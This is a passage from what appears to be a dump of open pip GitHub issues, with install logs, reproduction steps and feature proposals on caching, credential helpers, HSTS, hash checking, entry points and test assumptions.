Requirement already satisfied: tweedledum<2.0,>=1.1 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (1.1.0)
Requirement already satisfied: fastjsonschema>=2.10 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (2.15.1)
Requirement already satisfied: ply>=3.10 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (3.11)
Requirement already satisfied: symengine>0.7 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (0.7.2)
Requirement already satisfied: python-constraint>=1.4 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (1.4.0)
Requirement already satisfied: jsonschema>=2.6 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (3.2.0)
Requirement already satisfied: six in ./test_foo_fail/lib/python3.9/site-packages (from docplex>=2.21.207->qiskit-aqua==0.9.4->qiskit[nature]) (1.16.0)
Requirement already satisfied: pyrsistent>=0.14.0 in ./test_foo_fail/lib/python3.9/site-packages (from jsonschema>=2.6->qiskit-terra==0.18.1->qiskit[nature]) (0.18.0)
Requirement already satisfied: attrs>=17.4.0 in ./test_foo_fail/lib/python3.9/site-packages (from jsonschema>=2.6->qiskit-terra==0.18.1->qiskit[nature]) (21.2.0)
Collecting charset-normalizer~=2.0.0
  Using cached charset_normalizer-2.0.4-py3-none-any.whl (36 kB)
Collecting idna<4,>=2.5
  Using cached idna-3.2-py3-none-any.whl (59 kB)
Collecting certifi>=2017.4.17
  Using cached certifi-2021.5.30-py2.py3-none-any.whl (145 kB)
Collecting cryptography>=1.3
  Using cached cryptography-3.4.8-cp36-abi3-manylinux_2_24_x86_64.whl (3.0 MB)
Collecting ntlm-auth>=1.0.2
  Using cached ntlm_auth-1.5.0-py2.py3-none-any.whl (29 kB)
Collecting cffi>=1.12
  Using cached cffi-1.14.6-cp39-cp39-manylinux1_x86_64.whl (405 kB)
Collecting pycparser
  Using cached pycparser-2.20-py2.py3-none-any.whl (112 kB)
Requirement already satisfied: threadpoolctl>=2.0.0 in ./test_foo_fail/lib/python3.9/site-packages (from scikit-learn>=0.20.0->qiskit-aqua==0.9.4->qiskit[nature]) (2.2.0)
Requirement already satisfied: joblib>=0.11 in ./test_foo_fail/lib/python3.9/site-packages (from scikit-learn>=0.20.0->qiskit-aqua==0.9.4->qiskit[nature]) (1.0.1)
Requirement already satisfied: mpmath>=0.19 in ./test_foo_fail/lib/python3.9/site-packages (from sympy>=1.3->qiskit-aqua==0.9.4->qiskit[nature]) (1.2.1)
Collecting multitasking>=0.0.7
  Using cached multitasking-0.0.9-py3-none-any.whl
Collecting lxml>=4.5.1
  Using cached lxml-4.6.3-cp39-cp39-manylinux2014_x86_64.whl (6.9 MB)
Collecting pytz>=2017.3
  Using cached pytz-2021.1-py2.py3-none-any.whl (510 kB)
Collecting more-itertools
  Using cached more_itertools-8.8.0-py3-none-any.whl (48 kB)
Collecting inflection>=0.3.1
  Using cached inflection-0.5.1-py2.py3-none-any.whl (9.5 kB)
Installing collected packages: pycparser, urllib3, pytz, idna, charset-normalizer, cffi, certifi, requests, pandas, ntlm-auth, multitasking, more-itertools, lxml, inflection, cryptography, yfinance, websocket-client, requests-ntlm, quandl, qiskit-ignis, pybind11, fastdtw, docplex, dlx, qiskit-ibmq-provider, qiskit-aqua, qiskit-aer, qiskit
Successfully installed certifi-2021.5.30 cffi-1.14.6 charset-normalizer-2.0.4 cryptography-3.4.8 dlx-1.0.4 docplex-2.21.207 fastdtw-0.3.4 idna-3.2 inflection-0.5.1 lxml-4.6.3 more-itertools-8.8.0 multitasking-0.0.9 ntlm-auth-1.5.0 pandas-1.3.2 pybind11-2.7.1 pycparser-2.20 pytz-2021.1 qiskit-0.29.0 qiskit-aer-0.8.2 qiskit-aqua-0.9.4 qiskit-ibmq-provider-0.16.0 qiskit-ignis-0.6.0 quandl-3.6.1 requests-2.26.0 requests-ntlm-1.1.0 urllib3-1.26.6 websocket-client-1.2.1 yfinance-0.1.62
```

The key piece being: `Requirement already satisfied: qiskit-nature==0.1.5 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.1.5)` which doesn't get upgraded to the newer 0.2.0: https://pypi.org/project/qiskit-nature/0.2.0/

`pip install -U --upgrade-strategy eager 'qiskit[nature]'` 

```
Requirement already satisfied: qiskit[nature] in ./test_foo_fail/lib/python3.9/site-packages (0.29.0)
Requirement already satisfied: qiskit-aer==0.8.2 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.8.2)
Requirement already satisfied: qiskit-terra==0.18.1 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.18.1)
Requirement already satisfied: qiskit-ibmq-provider==0.16.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.16.0)
Requirement already satisfied: qiskit-ignis==0.6.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.6.0)
Requirement already satisfied: qiskit-aqua==0.9.4 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.9.4)
Requirement already satisfied: qiskit-nature==0.1.5 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit[nature]) (0.1.5)
Requirement already satisfied: numpy>=1.16.3 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aer==0.8.2->qiskit[nature]) (1.21.2)
Requirement already satisfied: scipy>=1.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aer==0.8.2->qiskit[nature]) (1.7.1)
Requirement already satisfied: pybind11>=2.6 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aer==0.8.2->qiskit[nature]) (2.7.1)
Requirement already satisfied: sympy>=1.3 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (1.8)
Requirement already satisfied: quandl in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (3.6.1)
Requirement already satisfied: pandas in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (1.3.2)
Requirement already satisfied: yfinance<0.1.63 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (0.1.62)
Requirement already satisfied: docplex>=2.21.207 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (2.21.207)
Requirement already satisfied: setuptools>=40.1.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (57.4.0)
Requirement already satisfied: scikit-learn>=0.20.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (0.24.2)
Requirement already satisfied: psutil>=5 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (5.8.0)
Requirement already satisfied: fastdtw<=0.3.4 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (0.3.4)
Requirement already satisfied: dlx<=1.0.4 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (1.0.4)
Requirement already satisfied: retworkx>=0.8.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (0.10.1)
Requirement already satisfied: h5py<3.3.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-aqua==0.9.4->qiskit[nature]) (3.2.1)
Requirement already satisfied: urllib3>=1.21.1 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-ibmq-provider==0.16.0->qiskit[nature]) (1.26.6)
Requirement already satisfied: requests-ntlm>=1.1.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-ibmq-provider==0.16.0->qiskit[nature]) (1.1.0)
Requirement already satisfied: python-dateutil>=2.8.0 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-ibmq-provider==0.16.0->qiskit[nature]) (2.8.2)
Requirement already satisfied: requests>=2.19 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-ibmq-provider==0.16.0->qiskit[nature]) (2.26.0)
Requirement already satisfied: websocket-client>=1.0.1 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-ibmq-provider==0.16.0->qiskit[nature]) (1.2.1)
Requirement already satisfied: tweedledum<2.0,>=1.1 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (1.1.0)
Requirement already satisfied: python-constraint>=1.4 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (1.4.0)
Requirement already satisfied: symengine>0.7 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (0.7.2)
Requirement already satisfied: dill>=0.3 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (0.3.4)
Requirement already satisfied: jsonschema>=2.6 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (3.2.0)
Requirement already satisfied: fastjsonschema>=2.10 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (2.15.1)
Requirement already satisfied: ply>=3.10 in ./test_foo_fail/lib/python3.9/site-packages (from qiskit-terra==0.18.1->qiskit[nature]) (3.11)
Requirement already satisfied: six in ./test_foo_fail/lib/python3.9/site-packages (from docplex>=2.21.207->qiskit-aqua==0.9.4->qiskit[nature]) (1.16.0)
Requirement already satisfied: attrs>=17.4.0 in ./test_foo_fail/lib/python3.9/site-packages (from jsonschema>=2.6->qiskit-terra==0.18.1->qiskit[nature]) (21.2.0)
Requirement already satisfied: pyrsistent>=0.14.0 in ./test_foo_fail/lib/python3.9/site-packages (from jsonschema>=2.6->qiskit-terra==0.18.1->qiskit[nature]) (0.18.0)
Requirement already satisfied: charset-normalizer~=2.0.0 in ./test_foo_fail/lib/python3.9/site-packages (from requests>=2.19->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (2.0.4)
Requirement already satisfied: certifi>=2017.4.17 in ./test_foo_fail/lib/python3.9/site-packages (from requests>=2.19->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (2021.5.30)
Requirement already satisfied: idna<4,>=2.5 in ./test_foo_fail/lib/python3.9/site-packages (from requests>=2.19->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (3.2)
Requirement already satisfied: ntlm-auth>=1.0.2 in ./test_foo_fail/lib/python3.9/site-packages (from requests-ntlm>=1.1.0->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (1.5.0)
Requirement already satisfied: cryptography>=1.3 in ./test_foo_fail/lib/python3.9/site-packages (from requests-ntlm>=1.1.0->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (3.4.8)
Requirement already satisfied: cffi>=1.12 in ./test_foo_fail/lib/python3.9/site-packages (from cryptography>=1.3->requests-ntlm>=1.1.0->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (1.14.6)
Requirement already satisfied: pycparser in ./test_foo_fail/lib/python3.9/site-packages (from cffi>=1.12->cryptography>=1.3->requests-ntlm>=1.1.0->qiskit-ibmq-provider==0.16.0->qiskit[nature]) (2.20)
Requirement already satisfied: threadpoolctl>=2.0.0 in ./test_foo_fail/lib/python3.9/site-packages (from scikit-learn>=0.20.0->qiskit-aqua==0.9.4->qiskit[nature]) (2.2.0)
Requirement already satisfied: joblib>=0.11 in ./test_foo_fail/lib/python3.9/site-packages (from scikit-learn>=0.20.0->qiskit-aqua==0.9.4->qiskit[nature]) (1.0.1)
Requirement already satisfied: mpmath>=0.19 in ./test_foo_fail/lib/python3.9/site-packages (from sympy>=1.3->qiskit-aqua==0.9.4->qiskit[nature]) (1.2.1)
Requirement already satisfied: lxml>=4.5.1 in ./test_foo_fail/lib/python3.9/site-packages (from yfinance<0.1.63->qiskit-aqua==0.9.4->qiskit[nature]) (4.6.3)
Requirement already satisfied: multitasking>=0.0.7 in ./test_foo_fail/lib/python3.9/site-packages (from yfinance<0.1.63->qiskit-aqua==0.9.4->qiskit[nature]) (0.0.9)
Requirement already satisfied: pytz>=2017.3 in ./test_foo_fail/lib/python3.9/site-packages (from pandas->qiskit-aqua==0.9.4->qiskit[nature]) (2021.1)
Requirement already satisfied: inflection>=0.3.1 in ./test_foo_fail/lib/python3.9/site-packages (from quandl->qiskit-aqua==0.9.4->qiskit[nature]) (0.5.1)
Requirement already satisfied: more-itertools in ./test_foo_fail/lib/python3.9/site-packages (from quandl->qiskit-aqua==0.9.4->qiskit[nature]) (8.8.0)
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mtreinish
labels: type: feature request: Request for a new feature
UX: User experience related
issue_10402: state: open
title: Add a warning if pip installs packages outside of sys.path
body: **What's the problem this feature will solve?**

Help users understand the issue.

**Describe the solution you'd like**

```
$ pip install foobar
  Downloading foobar-1.2.3-py3-none-any.whl (1.6 MB)
     |████████████████████████████████| 1.6 MB 31.9 MB/s
Installing collected packages: foobar
WARNING: pip is installing foobar to /home/foo/my-site-packages that is not present in sys.path
Successfully installed foobar-1.2.3
```
cf https://github.com/pypa/get-pip/issues/124

**Alternative Solutions**
As an alternative (or in addition), it would be nice for `pip debug` to advertise the installation scheme

**Additional context**
Of course, the warning would not appear when using `pip` with `--target` / `--prefix` / `--root`.

user: xavfernandez
labels: type: feature request: Request for a new feature
issue_10400: state: open
title: Git+ssh package via install_requires isn't cached when a non-remote branch is used
body: ### Description

When answering [a question on SO](https://stackoverflow.com/q/68942350/5994041) I encountered a behavior which looks like a bug. The instructions in the [setuptools' docs](https://setuptools.readthedocs.io/en/latest/userguide/dependency_management.html?highlight=install_requires#dependencies-that-aren-t-in-pypi) mention the revision specification:

```
vcs+proto://host/path@revision#egg=project-version
```

Pip supports the `install_requires`, so the expectation is it'll clone from git the first time. The [`Git._should_fetch()`](https://github.com/pypa/pip/blob/01308b81f2ccc1247733cdd8513d83386f1b113a/src/pip/_internal/vcs/git.py#L177) command is looking for the cloned repo to prevent the fetching and the [`autodelete`](https://github.com/pypa/pip/blob/1df8934a97ac77f064e2b858b554d3fb5ce43fae/src/pip/_internal/utils/temp_dir.py#L147) removes the folder which is the repo cloned into (`/tmp/pip-install-<random>/package_<random>`) after an installation (`pip install`) finishes which causes a dead end for the code.

Is the docs and code contradicting itself, i.e. is there a bug by not keeping the repo somewhere securely stored such as for the commit hash (in `--cache-dir` destination) when a branch is used or is it intentional thus probably the docs needs to be updated? The behavior isn't specific to `--editable` and happens for generic `pip install` as well.

### Expected behavior

1. `pip install .` / `pip install -e .`
2. pip clones the repo to some secure cache location specified by `--cache-dir` or to the default one
3. `Git._should_fetch()` is then able to check the repo for commit **and** branch i.e. if it should be re-cloned or updated
4. 2nd and further `pip install` attempts won't fetch the repo until e.g. `egg=` value changes or the refs aren't missing.

### pip version

21.2.4

### Python version

3.8

### OS

Linux

### How to Reproduce

1. Use this `setup.py`

```python
from setuptools import setup

setup(
    name="testing-git",
    install_requires=[
        # https://github.com/psf/requests/tree/3.0
        "requests @ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0"
    ]
)
```

2. `pip install -e .` (alternatively add `--src` and `--cache-dir` flags, still doesn't help

### Output

```sh-session
(myenv2) /tmp/test-git-2$ LC_ALL=C date && pip install ../test-git --cache-dir /tmp/my-cache-dir-2 && LC_ALL=C date && pip install ../test-git --cache-dir /tmp/my-cache-dir-2
Thu Aug 26 20:31:07 CEST 2021
Processing /tmp/test-git
  DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
   pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
Collecting requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0
  Cloning ssh://****@github.com/psf/requests.git (to revision 3.0) to /tmp/pip-install-eyscbjhv/requests_637c233cbaac45238c48176f94b048ea
  Running command git clone -q 'ssh://****@github.com/psf/requests.git' /tmp/pip-install-eyscbjhv/requests_637c233cbaac45238c48176f94b048ea
  Running command git checkout -b 3.0 --track origin/3.0
  Switched to a new branch '3.0'
  Branch '3.0' set up to track remote branch '3.0' from 'origin'.
  Resolved ssh://****@github.com/psf/requests.git to commit cd4762d5a3b56d8933d1d9c1dff365fc5db4c768
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (3.0.4)
Requirement already satisfied: idna<2.7,>=2.5 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (2.6)
Requirement already satisfied: urllib3<1.23,>=1.21.1 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (1.22)
Requirement already satisfied: certifi>=2017.4.17 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (2021.5.30)
Requirement already satisfied: rfc3986>=1.1.0<2 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (1.5.0)
Building wheels for collected packages: testing-git
  Building wheel for testing-git (setup.py) ... done
  Created wheel for testing-git: filename=testing_git-0.0.0-py3-none-any.whl size=1071 sha256=aa1ba1a60a144326fea1e364837466a219afd684bc9fa8ab5f3e25c01337ccc9
  Stored in directory: /tmp/my-cache-dir-2/wheels/0b/9f/f2/be65cd1a49c0620a004f99c72581c37b76fa4a3d901e1059ac
Successfully built testing-git
Installing collected packages: testing-git
  Attempting uninstall: testing-git
    Found existing installation: testing-git 0.0.0
    Uninstalling testing-git-0.0.0:
      Successfully uninstalled testing-git-0.0.0
Successfully installed testing-git-0.0.0
Thu Aug 26 20:31:15 CEST 2021
Processing /tmp/test-git
  DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
   pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
Collecting requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0
  Cloning ssh://****@github.com/psf/requests.git (to revision 3.0) to /tmp/pip-install-02ryn563/requests_d5b9ab23dda146f2a1361d0983ae0972
  Running command git clone -q 'ssh://****@github.com/psf/requests.git' /tmp/pip-install-02ryn563/requests_d5b9ab23dda146f2a1361d0983ae0972
  Running command git checkout -b 3.0 --track origin/3.0
  Switched to a new branch '3.0'
  Branch '3.0' set up to track remote branch '3.0' from 'origin'.
  Resolved ssh://****@github.com/psf/requests.git to commit cd4762d5a3b56d8933d1d9c1dff365fc5db4c768
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (3.0.4)
Requirement already satisfied: idna<2.7,>=2.5 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (2.6)
Requirement already satisfied: urllib3<1.23,>=1.21.1 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (1.22)
Requirement already satisfied: certifi>=2017.4.17 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (2021.5.30)
Requirement already satisfied: rfc3986>=1.1.0<2 in ./myenv2/lib/python3.8/site-packages (from requests@ git+ssh://git@github.com/psf/requests.git@3.0#egg=requests-3.0->testing-git==0.0.0) (1.5.0)
Building wheels for collected packages: testing-git
  Building wheel for testing-git (setup.py) ... done
  Created wheel for testing-git: filename=testing_git-0.0.0-py3-none-any.whl size=1071 sha256=9e166d47ac81031921817c0fdeec863f584c37239a26ab2790913a4400be5d87
  Stored in directory: /tmp/my-cache-dir-2/wheels/0b/9f/f2/be65cd1a49c0620a004f99c72581c37b76fa4a3d901e1059ac
Successfully built testing-git
Installing collected packages: testing-git
  Attempting uninstall: testing-git
    Found existing installation: testing-git 0.0.0
    Uninstalling testing-git-0.0.0:
      Successfully uninstalled testing-git-0.0.0
Successfully installed testing-git-0.0.0
```
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: KeyWeeUsr
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
type: feature request: Request for a new feature
issue_10399: state: open
title: When installing to a target directory, wheel data files living in 'lib' are skipped
body: ### Description

When a wheel carries data files living under 'lib', those will be skipped when installing to a target directory (with --target/-t). The reason for that is, that `_handle_target_dir()` in `src/pip/_internal/commands/install.py` skips all subdirectories from the temporary path where the wheel has been unpacked that are prefixes of purelib_dir. On a machine using the Unix scheme, the purelib_dir of the temporary path will be `<temp>/lib/python`, and `_handle_target_dir()` will skip data files from `lib`, as it otherwise would `shutil.move`-away `lib/python` prematurely, before it is handled correctly. I have kind of a fix/workaround in fpatz/pip@d93086bca1114e8166d49697506c00fa050d69ca. I am pretty sure it is not thought through completely yet, so I'd welcome feedback to eventually make it a proper PR.

### Expected behavior

All data files should be installed, and the wheel spec does not disallow data files under 'lib'.

### pip version

21.2.4

### Python version

3.8.11

### OS

macOS, Linux

### How to Reproduce

1. A wheel with data files in under 'lib'
2. Install to some target directory
3. data files supposed to live under 'lib' are not installed

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fpatz
labels: type: bug: A confirmed bug or unintended behavior
C: wheel: The wheel format and 'pip wheel' command
issue_10389: state: open
title: proposal: replace keyring dependency with generic pip-defined credential helper API
body: Currently pip directly imports keyring in order to use it for authentication. Furthermore, to avoid a performance hit in the majority case, it will only consult keyring if the original request fails with 401. This has caused a few issues:
1. Some users do not want pip to use keyring, even if it is present on the system. #8719
2. When interacting with a private PyPI repo, the initial unauthenticated request is undesirable. #10269
3. Due to a missing keyring feature (at least on macos), the username still has to be specified in the index url. This in turn causes pip's credential cache to not function properly. #10288
4. Relying on keyring leads to a chicken-or-the-egg bootstrapping issue. You need pip in order to install keyring, but if you need to auth with a private PyPI repo to do so, now what?
5. In general, having pip directly rely on a specific external module seems undesirable. What happens if keyring falls out of vogue, or is abandoned?

I would like to propose that the direct dependency on keyring be removed, and replaced with a more generic concept, akin to docker's credential helper concept. https://docs.docker.com/engine/reference/commandline/login/#credentials-store

The basic idea is that the pip configuration be able to specify a credential helper library for a given PyPI hostname. If there is no entry for a hostname, then requests are sent without any authentication. This allows the majority case of talking to public PyPI to continue to work as it does today with no performance hit. If a hostname does have an entry, then it is expected to map to a library that exposes a `get_pip_credentials(hostname)` function, which takes the download hostname and returns the username and password to use. The user just needs to arrange for this library to be importable, so for example they could write a custom library and add it to their `PYTHONPATH`.

For keyring (excluding macos), a very simple adapter around the keyring API could be created, and ideally could even be part of keyring itself. For macos, I can make my own shim to pull the keyring username from some environment variable of my choosing. For CI/CD, a simple credential helper could be made to pull the username and password from pre-canned environment variables. (Since this logic lives entirely outside pip, the issue of multiple index urls mentioned [here](https://github.com/pypa/pip/issues/10269#issuecomment-894634770) is not relevant.)

If a user doesn't want to use keyring, they simply would not specify it in their pip configuration. That means that by default, keyring would never be used at all. But it also means that users that do want to use it are not required to pass some flag to pip all the time.

If the credential helper API is standardized, then it can be shared with other dependency management tools such as pipenv, instead of the situation today where the two have completely different approaches. (For reference, most docker-like tools, such as skopeo and buildkit, will abide by your credential helpers, thus providing a consistent experience.)
user: rittneje
labels: type: feature request: Request for a new feature
issue_10371: state: open
title: support HSTS preload and no user recourse
body: No user recourse: https://datatracker.ietf.org/doc/html/rfc6797#section-12.1
Preload: https://datatracker.ietf.org/doc/html/rfc6797#section-12.3

**What's the problem this feature will solve?**
currently a number of PEP 503 simple repositories set HSTS headers intending to prevent "click-through" or "flag-through" ignoring of certificate validation failures.

I noticed this when I was able to access an artificatory/devpi with an expired certificate via `--trusted-host` despite setting an HSTS preload policy.

**Describe the solution you'd like**
disable --trusted-host for web servers setting the HSTS header, use something like https://github.com/sethmlarson/hstspreload to bootstrap the list of servers known to set an HSTS header

a user should be able disable this check by running:

`echo "def is_hsts(request): return False" > .../site-packages/pip/_internal/network/hsts.py`

**Alternative Solutions**
disable `--trusted-host` alltogether

**Additional context**

https://pypi.org has set the HSTS header and is preloaded

user: graingert
labels: type: feature request: Request for a new feature
issue_10362: state: open
title: allow file:/// deps to be missing `--hash` in hash-checking mode (require-hashes)
body: **What's the problem this feature will solve?**
Currently I'm trying to pass a `contraints.txt` to pip under tox. However it rejects the wheel built by tox because it is a `file:///....whl` 

see also https://discuss.python.org/t/some-way-to-pass-hash-on-the-cli-or-to-ignore-file-uris-when-using-require-hashes/5256

**Describe the solution you'd like**
permit file:/// deps to be missing a `--hash`

**Alternative Solutions**
support `data:application/octet-stream;base64,` dependencies

**Additional context**
currently pip supports dependencies in the `-r requirements.txt` format without a `--hash`. These files are more powerful than `file:///...whl` and have the same provenance and so it doesn't make sense to require hashes on `file:///....whl` deps and not require hashes on `-r requirements.txt` deps
user: graingert
labels: type: feature request: Request for a new feature
issue_10355: state: open
title: pip wheels (from ensurepip) show nonexistant entry_points in importlib.metadata
body: ### Description

I was working on some code (a conan generator to write cmake `add_executable(... IMPORTED)` bindings based on importlib.metadata.entry_points), and noticed something odd - there was an entry point for pip3.8 showing up that didn't actually have a corresponding launcher pip3.8.exe (since I was/am stuck using python 3.7 to avoid https://github.com/pypa/pip/issues/8649 until a cpython release picks up pip 21.2, the actual launcher was pip3.7.exe). 

### Expected behavior

importlib.metadata.Distribution.entry_points will correspond to the entry_point launchers that actually exist.

### pip version

20.2.3-21.2.4

### Python version

3.9.4

### OS

Windows

### How to Reproduce

```py
from importlib.metadata import distribution
distribution("pip").entry_points
```

note the presence of `EntryPoint(name='pip3.8', value='pip._internal.cli.main:main', group='console_scripts')`, even though this is python 3.9, not 3.8.

```
where pip3.8
INFO: Could not find files for the given pattern(s).
>where pip3.9
C:\Program Files\Python39\Scripts\pip3.9.exe
```

### Output

```sh-session
[EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3.8', value='pip._internal.cli.main:main', group='console_scripts')]
```

#### entry_points.txt
```
[console_scripts]
pip = pip._internal.cli.main:main
pip3 = pip._internal.cli.main:main
pip3.8 = pip._internal.cli.main:main
```

The wheel for 21.2.4 still seems to show the same sort of thing going on: https://files.pythonhosted.org/packages/ca/31/b88ef447d595963c01060998cb329251648acf4a067721b0452c45527eb8/pip-21.2.4-py3-none-any.whl (though there it's pip3.9 that is present)



### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: puetzk
labels: state: awaiting PR: Feature discussed, PR is needed
issue_10350: state: open
title: Tests assume that the git default branch is "master"
body: ### Description

My git config has "main" as the default branch (I don't know where this got set TBH)

```
❯ git config --get init.defaultbranch 
main
```

The following tests are failing:

```
FAILED tests/functional/test_install_vcs_git.py::test_git_install_branch_again_after_branch_changes - AssertionError: Script returned code: 1
FAILED tests/functional/test_install_vcs_git.py::test_install_git_branch_not_cached - AssertionError: Script returned code: 1
FAILED tests/functional/test_install_vcs_git.py::test_editable__no_revision - AssertionError: assert 'main' == 'master'

FAILED tests/functional/test_vcs_git.py::test_get_current_branch - AssertionError: assert 'main' == 'master'
FAILED tests/functional/test_vcs_git.py::test_resolve_commit_not_on_branch - AssertionError: Script returned code: 1
```

### Expected behavior

Tests should not depend on the user's git configuration

### pip version

Latest checkout from git, main branch (ironically :-))

### Python version

3.9.4

### OS

Windows 10

### How to Reproduce

1. Configure git to default to the "main" branch
2. Then run the pip test suite
3. The above errors occur


### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pfmoore
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_10243: state: open
title: pip freeze of editable does not point to project location when using src layout
body: ### Description

This is something I (re)discovered while working on making pip list and pip freeze support PEP 610 for modern editables.

Assume a setuptools project using the src layout, without VCS, and installed in editable mode.

Running pip freeze will output the parent directory of the `.egg-info` directory, which is the `src` directory and not where `setup.py` is located, making reinstallation from the frozen requirement impossible.

This is fixable in principle because the `.egg-link` file contains a second line pointing to the setup.py directory.

I'm not sure this is something we will want to fix, but I report it for the record and discussion in case anyone has an any insight on the matter.


### Expected behavior

_No response_

### pip version

latest and probably all

### Python version

3

### OS

any

### How to Reproduce

Assuming this setup.py:

```
from setuptools import setup

setup(
    name="pkga",
    packages=["pkga"],
    package_dir={"": "src"},
)
```

Run `pip install -e .`, followed by `pip freeze`. Notice that the directory produced by pip freeze does not point to the setup.py directory but to the `src` directory.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sbidoul
labels: type: bug: A confirmed bug or unintended behavior
C: editable: Editable installations
issue_10235: state: open
title: pip resolver backtracking deepness option
